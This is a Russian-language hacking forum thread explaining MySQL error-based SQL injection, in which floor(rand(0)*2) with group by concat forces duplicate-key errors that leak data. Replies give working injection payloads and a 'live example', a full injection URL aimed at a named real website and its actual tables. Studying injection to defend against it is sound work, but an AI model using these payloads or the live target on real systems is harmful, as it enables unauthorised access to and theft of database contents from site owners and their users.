![]() |
я уже спрашивал на форуме что значит етот запрос
PHP код:
1)Первое што было непонятно ето +or+1+ што вобще ето значит? я поробовал на хостинге выполнить ети запросы, вот к примеру PHP код:
PHP код:
PHP код:
2) Поехали дальше min(0) насколько я знаю в скобках надо вводить название столбца, што означает там введение цифр??? 3)Далее ето floor(rand(0)*2) результатом такого уравнения будет ноль, но если подставить в запрос просто ноль то ничего не выйдет, почему? какую роль ето играет? 4) ну и тд. также непойму зачем в конце +or+1--+ и зачем надо груперовать и собирать в одну строку я тоже не пойму group+by+concat вобщем буду очень презнателен если ктонибуть прольёт немного света на мой затемнелый разум |
sql inj кто-то пытался заюзать, при помоши вывода об ошибках
в оригинале немного по другому floor(rand(0)*2) провоцирует ошибку =) |
https://rdot.org/forum/showthread.php?t=503
|
Цитата:
|
Цитата:
|
Цитата:
|
Цитата:
процетируй ответы на мои вопросы из заданой ссылки |
Цитата:
|
Цитата:
|
Цитата:
|
/showpost.php?p=407227&postcount=3
вообще-то прочитай всю ветку сначала и многое поймешь сразу, не вижу тут все повторять и копипастить там все подробно описано по пунктам. |
Цитата:
вот возьмём к примеру етот вопрос PHP код:
http://php.su/mysql/?commands PHP код:
_______________________________________ |
Цитата:
|
Вся соль пошла отсюда: http://bugs.mysql.com/bug.php?id=32249
Где товарищ, Domas Mituzas, недоумевает, почему код PHP код:
Цитата:
Цитата:
PHP код:
#1062 - Duplicate entry '5.5.80' for key 'group_key' или #1062 - Duplicate entry '5.5.81' for key 'group_key' Дальше для упрощения(укорочения) запроса, concat(version(),floor(rand()*2)) перенеслась в group by и мы получаем: PHP код:
#1062 - Duplicate entry '5.5.80' for key 'group_key' или #1062 - Duplicate entry '5.5.81' for key 'group_key' К конструкции floor(rand(0)*2)) пришли исключительно методом тыка (если я конечно не ошибаюсь). И в итоге получился вектор, для вывода информации в ошибке mysql: PHP код:
#1062 - Duplicate entry '5.5.81' for key 'group_key' Для удобства можно избавится от лишнего символа 1 в конце результата, использованием 0x00 - нулевой байт PHP код:
Код:
bug.php?id=10+and+(select+count(*)+from+table+group+by(concat(version(),0x00,floor(rand(0)*2))))--+PHP код:
#1062 - Duplicate entry '5.5.8' for key 'group_key' Живой пример: Код:
http://www.forakom.ru/tree/index.php?brand_id=739&model_id=5533&engine_id=1005635+and(select+count(*)+from+tcdViews.v_ext_engines+group+by(concat(version(),0x00,floor(rand(0)*2))))--+Теперь наглядно? |
Цитата:
|
| Время: 20:07 |